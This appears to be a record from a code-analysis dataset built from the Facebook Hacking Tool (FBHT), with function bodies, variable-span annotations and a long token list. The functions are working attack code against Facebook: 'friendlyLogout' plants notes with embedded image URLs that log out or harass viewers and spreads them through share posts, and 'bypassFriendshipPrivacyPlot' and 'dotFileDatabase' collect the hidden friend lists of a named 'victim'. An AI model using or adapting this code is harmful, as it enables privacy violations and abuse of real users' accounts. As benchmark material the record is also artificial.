persona in people:\n if persona in peopleLogged:\n try:\n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n \n arguments = { \n 'fb_dtsg' : fb_dtsg, \n 'name' : str(persona[1]),\n 'password' : '1234567890',\n 'confirm_password' : '1234567890',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7w86i1PyUnxqnFwn8',\n '__req' : 'a',\n 'ttstamp' : '26581698582558910610211811276',\n '__rev' : '1262776'\n }\n datos = urlencode(arguments)\n try:\n response = br.open('https://developers.facebook.com/apps/async/test-users/edit/?app_id='+appID+'&test_user_id='+str(persona[0]),datos)\n except:\n print 'error'\n except:\n print 'Error General'", "metadata": "root.changePassword", "header": "['module', '___EOS___']", "index": 2473 }, { "content": "def dotFileDatabase(victim, transitive):\n\n #Percentage container\n percentage = 0.0\n #Disclosude friends container\n friendships = []\n #Already visited nodes container\n visited = [] \n \n try:\n #Generates the first level of the search\n result = coreFriendshipPrivacy(victim,transitive)\n except:\n print 'Check the internet connection please..'\n return\n \n #Stores non repetitive values in the disclosed friends container\n transitivo = getName(transitive)\n transitivoID = getUserID(transitive)\n \n if transitivoID == -1:\n transitivoID = transitivo\n \n database.addNode(victim,transitivo, transitivoID)\n \n for individuos in result:\n friendName = getName(individuos)\n friendId = getUserID(individuos)\n \n if friendId == -1:\n friendId = friendName\n \n database.addNode(victim,friendName, friendId)\n database.addEdge(victim,transitivo, transitivoID, friendName, friendId)\n friendships.append(individuos)\n\n \n #Counter for percentage calculus purpose \n i = 0.0\n #flush\n print '\\r \\r',\n #For every value in the first disclosed list, repeats until every value has been tryed \n for friends in friendships:\n #Percentage calculus \n percentage = (i * 100.0)/len(friendships)\n flush()\n print '\\rIterating on %d of %d - [%.2f%%] completed\\r' %(i ,len(friendships), percentage), \n i+=1\n #Only if the node wasn't visited \n if friends not in visited:\n #if coreFriendshipPrivacy() fails, an exception is caught. Therefore, state wis still being True. \n #Only if the try passes, the infinite while will end. (For internet error connection problem)\n state = True\n while state == True:\n try:\n result = coreFriendshipPrivacy(victim,friends)\n state = False\n except signalCaught as e:\n state = False\n print 'Signal Caught handler'\n print '%s ' %e.args[0]\n return\n except:\n logs('Check the internet connection please.. Press enter when it\\'s done')\n print '\\r \\r',\n a = raw_input('\\rCheck the internet connection please.. Press enter when it\\'s done\\r')\n if a == 1:\n state = False\n else:\n if a == 2:\n email,password = setMail()\n login(email,password,'real')\n \n #Stores non repetitive values in the disclosed friends container\n friendName = getName(friends)\n friendId = getUserID(friends)\n \n if friendId == -1:\n friendId = friendName \n \n database.addNode(victim,friendName, friendId)\n \n for element in result:\n if element not in friendships:\n \n friendTran = getName(element)\n friendTranId = getUserID(element)\n \n if friendId == -1:\n friendId = friendName \n \n database.addNode(victim,friendTran, friendTranId)\n database.addEdge(victim,friendName, friendId, friendTran, friendTranId)\n friendships.append(element)\n #Stores every single value of friendships list alredy analyzed for non repetitivness\n visited.append(friends)", "metadata": "root.dotFileDatabase", "header": "['module', '___EOS___']", "index": 2771 }, { "content": "def friendlyLogout(noteID,privacy):\n \n fb_dtsg = set_dtsg()\n if (fb_dtsg == 0):\n print 'ERROR MOTHER FUCKER -_-'\n return \n \n existence = raw_input(\"Share an existent infected note? 1|0: \")\n \n\n\n title = raw_input('Note title: ')\n content = ''\n for i in range(0,10):\n content += '<p><img src=\"http://www.facebook.com/n/?home.php&clk_loc=5&mid=72b01a8G5af400143243G0Gd4&bcode=1.1354826874.AbllucLcWqHQbSNM&n_m=hackedby@chinoogawa-'+str(i)+'\"/></p>'\n \n arguments = {\n 'fb_dtsg' : fb_dtsg,\n 'object_id' : noteID,\n 'note_id' : noteID,\n 'id' : getC_user(),\n 'title' : title,\n 'note_content' : content,\n 'audience['+noteID+'][value]' : privacy,\n 'publish' : 'Publish',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7n8ahyj34fzpQ9UoHaEWy1m9ACwKyaF3pqzCAjFDxCm6qyE',\n '__req' : '7',\n 'ttstamp' : '2658169897154120115496511690',\n '__rev' : '1224624'\n }\n \n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/ajax/notes/edit',datos)\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in the friendlyLogout module')\n print '\\rError in the friendlyLogout module\\r'\n raise\n \n arguments = {\n 'fb_dtsg' : fb_dtsg,\n 'app_id' : '2347471856',\n 'redirect_uri' : 'https://www.facebook.com/',\n 'display' : 'popup',\n 'access_token' : '',\n 'sdk' : '',\n 'from_post' : '1',\n 'e2e' : '{\"submit_0\":1409803100561}',\n 'xhpc_context' : 'home',\n 'xhpc_ismeta' : '1',\n 'xhpc_timeline' : '',\n 'xhpc_targetid' : getC_user(),\n 'xhpc_publish_type' : '1',\n 'xhpc_message_text' : '#FBHT rocks! #HackThePlanet! @chinoogawa powered by @MkitArgentina ',\n 'xhpc_message' : '#FBHT rocks! #HackThePlanet! @chinoogawa powered by @MkitArgentina ',\n 'is_explicit_place' : '',\n 'composertags_place' : '',\n 'composertags_place_name' : '',\n 'tagger_session_id' : '1409803081',\n 'action_type_id[0]' : '',\n 'object_str[0]' : '',\n 'object_id[0]' : '',\n 'og_location_id[0]' : '',\n 'hide_object_attachment' : '0',\n 'og_suggestion_mechanism' : '',\n 'og_suggestion_logging_data' : '',\n 'icon_id' : '',\n 'share_action_properties' : '{\"object\":\"https:\\/\\/www.facebook.com\\/notes\\/'+getName(getC_user())+'\\/'+noteID+'\\/'+noteID+'\"}',\n 'share_action_type_id' : '400681216654175',\n 'composertags_city' : '',\n 'disable_location_sharing' : 'false',\n 'composer_predicted_city' : '',\n 'audience[0][row_updated_time]' : '1409803103',\n 'audience[0][custom_value]' : privacy,\n 'audience[0][value]' : '111',\n '__CONFIRM__' : '1',\n '__user' : getC_user(),\n '__a' : '1',\n '__dyn' : '7xu5V84Oi3S2e4oK4pomXWomwho4a',\n '__req' : '7',\n 'ttstamp' : '26581715110910598979511876122',\n '__rev' : '1398396'\n }\n\n datos = urlencode(arguments)\n try:\n response = br.open('https://www.facebook.com/v1.0/dialog/share/submit',datos)\n except mechanize.HTTPError as e:\n logs(e.code)\n print e.code\n except mechanize.URLError as e:\n logs(e.reason.args)\n print e.reason.args \n except:\n logs('Error in the friendlyLogout module')\n print '\\rError in the friendlyLogout module\\r'\n raise ", "metadata": "root.friendlyLogout", "header": "['module', '___EOS___']", "index": 2901 } ]
[ { "span": "n ", "start_line": 98, "start_column": 4, "end_line": 98, "end_column": 5 }, { "span": "flag ", "start_line": 99, "start_column": 4, "end_line": 99, "end_column": 8 }, { "span": "state ", "start_line": 1630, "start_column": 20, "end_line": 1630, "end_column": 25 }, { "span": "state ", "start_line": 1755, "start_column": 20, "end_line": 1755, "end_column": 25 }, { "span": "state ", "start_line": 2215, "start_column": 20, "end_line": 2215, "end_column": 25 }, { "span": "response ", "start_line": 2325, "start_column": 8, "end_line": 2325, "end_column": 16 }, { "span": "response ", "start_line": 2362, "start_column": 8, "end_line": 2362, "end_column": 16 }, { "span": "response ", "start_line": 2497, "start_column": 20, "end_line": 2497, "end_column": 28 }, { "span": "state ", "start_line": 2829, "start_column": 20, "end_line": 2829, "end_column": 25 }, { "span": "existence ", "start_line": 2908, "start_column": 4, "end_line": 2908, "end_column": 13 }, { "span": "response ", "start_line": 2995, "start_column": 8, "end_line": 2995, "end_column": 16 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "set\\u", "dt", "sg_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "n_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flag_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "response_", "=_", "br_", "._", "open_", "(_", "'", "https", "://", "www", ".", "facebook", ".", "com", "/'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "'''", " ", "Old", " ", "dt", "sg", " ", "set", " ", "module", "..", " ", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "form", " ", "in", " ", "br", ".", "forms", "():", "\\", "10", ";", " ", " ", " ", " ", "for", " ", "control", " ", "in", " ", "form", ".", "controls", ":", " ", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "control", ".", "name", " ", "==", " ", "'", "fb", "\\u", "dt", "sg", "':", "\\", "10", ";", " ", " ", "flag", " ", "=", " ", "Tru", "e", "\\", "10", ";", " ", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "n", " ", "+=", " ", "1", "\\", "10", ";", " ", " ", " ", " ", "if", " ", "flag", ":", " ", "break", "\\", "10", ";", " ", " ", " ", " ", "br", ".", "select", "\\u", "form", "(", "nr", "=", "n", "-1", ")", " ", "'''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "global", "Logging_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "response_", "._", "read_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "HTTP", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "code_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "code_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "mechani", "ze_", "._", "URL", "Error_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "e_", "._", "reason_", "._", "args_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "e_", "._", "reason_", "._", "args_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "'", "Error", " ", "in", " ", "the", " ", "dt", "sg", " ", "set", " ", "module", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Tr", "ying", " ", "to", " ", "set", " ", "dt", "sg", " ", "\\\\", "r", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "workar", "ound", "dt", "sg_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "bypass", "Friends", "hip", "Priva", "cy", "Plot_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "col", "ecc", "ion_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "root_", "=_", "'", "dump", "s", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "directory_", "=_", "str_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "mkdir_", "(_", "directory_", ",_", "root_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "my", "Graph_", "=_", "nx_", "._", "Graph_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "col", "ecc", "ion_", "[_", "victim", "_", "]_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "victim", "a_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "victim", "a_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "percentage_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Disc", "los", "ude", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "friends", "hip", "s_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Al", "read", "y", " ", "visit", "ed", " ", "nodes", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "visited_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "alr", "ead", "y", " ", "exist", "s", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "rb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Read", "s", " ", "every", " ", "line", " ", "of", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "linea_", "=_", "friends", "hip", "File_", "._", "readline_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "linea_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "break_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Stor", "e", " ", "in", " ", "the", " ", "visit", "ed", " ", "array", " ", "for", " ", "non", " ", "repetition", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "visited_", "._", "append_", "(_", "linea_", "._", "strip_", "(_", "\"\\\\", "n", "\\\\", "r", "\"_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "A_", ",_", "col", "ecc", "ion_", "=_", "load", "Objects_", "(_", "victim", "_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "A_", "==_", "[_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "logs_", "(_", "\"", "Inco", "nsis", "ten", "cy", ",", " ", "the", " ", "user", "id", " ", "file", " ", "exist", "s", ",", " ", "but", " ", "has", " ", "no", " ", "object", " ", "associate", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\"", "Inco", "nsis", "ten", "cy", ",", " ", "the", " ", "user", "id", " ", "file", " ", "exist", "s", ",", " ", "but", " ", "has", " ", "no", " ", "object", " ", "associate", "d", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "my", "Graph_", "=_", "nx_", "._", "from", "\\u", "nump", "y", "\\u", "matrix_", "(_", "A_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "If", " ", "the", " ", "file", " ", "doe", "s", " ", "not", " ", "exist", "s", ",", " ", "create", "s", " ", "the", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "friends", "hip", "File_", "=_", "open_", "(_", "os_", "._", "path_", "._", "join_", "(_", "root_", ",_", "directory_", ",_", "victim", "_", "+_", "\".", "txt", "\"_", ")_", ",_", "\"", "wb", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "File_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Generate", "s", " ", "the", " ", "first", " ", "level", " ", "of", " ", "the", " ", "search_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "transiti", "ve_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "indiv", "id", "uo", "s_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "indiv", "id", "uo", "s_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "indiv", "id", "uo", "s_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nod", "o_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "indiv", "id", "uo", "s_", "]_", "=_", "nod", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "nod", "o_", "=_", "col", "ecc", "ion_", "[_", "indiv", "id", "uo", "s_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "transiti", "ve_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "transiti", "ve_", "]_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "transiti", "vo_", "=_", "col", "ecc", "ion_", "[_", "transiti", "ve_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "nod", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "nod", "o_", ",_", "transiti", "vo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "indiv", "id", "uo", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Counter", " ", "for", " ", "percentage", " ", "calcul", "us", " ", "purpose", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "i_", "=_", "0.0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "flush_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "For", " ", "every", " ", "value", " ", "in", " ", "the", " ", "first", " ", "discl", "ose", "d", " ", "list", ",", " ", "repeat", "s", " ", "unti", "l", " ", "every", " ", "value", " ", "has", " ", "bee", "n", " ", "try", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "for_", "friends_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "Perce", "nta", "ge", " ", "calcul", "us", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "percentage_", "=_", "(_", "i_", "*_", "100.0_", ")_", "/_", "len_", "(_", "friends", "hip", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "flush_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", "Iterat", "ing", " ", "on", " ", "%", "d", " ", "of", " ", "%", "d", " ", "-", " ", "[", "%", ".2", "f", "%%", "]", " ", "complete", "d", "\\\\", "r", "'_", "%_", "(_", "i_", ",_", "len_", "(_", "friends", "hip", "s_", ")_", ",_", "percentage_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "node", " ", "was", "n", "'", "t", " ", "visit", "ed", " _", "\\u\\u\\uNL\\u\\u\\u_", "if_", "friends_", "not_", "in_", "visited_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "if", " ", "core", "Friends", "hip", "Priva", "cy", "()", " ", "fail", "s", ",", " ", "an", " ", "exception", " ", "is", " ", "cau", "ght", ".", " ", "There", "fore", ",", " ", "state", " ", "wis", " ", "still", " ", "bei", "ng", " ", "Tru", "e", ".", " _", "\\u\\u\\uNL\\u\\u\\u_", "#", "On", "ly", " ", "if", " ", "the", " ", "try", " ", "pass", "es", ",", " ", "the", " ", "infini", "te", " ", "whi", "le", " ", "will", " ", "end", ".", " ", "(", "For", " ", "interne", "t", " ", "error", " ", "connecti", "on", " ", "problem", ")_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "state_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "state_", "==_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "result_", "=_", "core", "Friends", "hip", "Priva", "cy_", "(_", "victim", "_", ",_", "friends_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "signal", "Cau", "ght_", "as_", "e_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "state_", "=_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'", "Signal", " ", "Cau", "ght", " ", "handler", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'%", "s", " ", "'_", "%_", "e_", "._", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "logs_", "(_", "'", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "'\\\\", "r", " ", " ", " ", " ", " ", " ", " ", " ", " ", "\\\\", "r", "'_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "raw", "\\u", "input_", "(_", "'\\\\", "r", "Check", " ", "the", " ", "interne", "t", " ", "connecti", "on", " ", "plea", "se", "..", " ", "Press", " ", "enter", " ", "whe", "n", " ", "it", "\\\\'", "s", " ", "don", "e", "\\\\", "r", "'_", ")_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", " ", "non", " ", "repe", "titi", "ve", " ", "values", " ", "in", " ", "the", " ", "discl", "ose", "d", " ", "friends", " ", "container", " _", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "element_", "in_", "result_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "element_", "not_", "in_", "friends", "hip", "s_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "friends_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "nod", "o_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "friends_", "]_", "=_", "nod", "o_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "nod", "o_", "=_", "col", "ecc", "ion_", "[_", "friends_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "col", "ecc", "ion_", "._", "has", "\\u", "key_", "(_", "element_", ")_", "==_", "False_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "transiti", "vo_", "=_", "node", "ID_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "node", "ID_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "col", "ecc", "ion_", "[_", "element_", "]_", "=_", "transiti", "vo_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "transiti", "vo_", "=_", "col", "ecc", "ion_", "[_", "element_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "node_", "(_", "nod", "o_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "my", "Graph_", "._", "add", "\\u", "edge_", "(_", "nod", "o_", ",_", "transiti", "vo_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "friends", "hip", "s_", "._", "append_", "(_", "element_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", "Stor", "es", 